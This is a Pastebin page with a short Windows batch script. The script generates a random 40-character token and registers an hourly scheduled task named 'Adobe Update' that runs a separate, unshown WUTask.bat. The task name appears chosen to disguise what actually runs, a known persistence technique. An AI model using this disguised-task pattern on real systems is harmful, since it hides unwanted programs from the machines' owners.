Guest User

WUHelper.bat

a guest
Jun 6th, 2016
196
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @Echo Off
  2. Setlocal EnableDelayedExpansion
  3. Set _RNDLength=40
  4. Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
  5. Set _Str=%_Alphanumeric%987654321
  6. :_LenLoop
  7. IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
  8. SET _tmp=%_Str:~9,1%
  9. SET /A _Len=_Len+_tmp
  10. Set _count=0
  11. SET _RndAlphaNum=
  12. :_loop
  13. Set /a _count+=1
  14. SET _RND=%Random%
  15. Set /A _RND=_RND%%%_Len%
  16. SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
  17. If !_count! lss %_RNDLength% goto _loop
  18. Echo !_RndAlphaNum!
  19. set /p hrs="Enter Hours: "
  20. schtasks /create /tn "Adobe Update" /tr "%~dp0\WUTask.bat !_RndAlphaNum!" /sc hourly /mo %hrs%
RAW Paste Data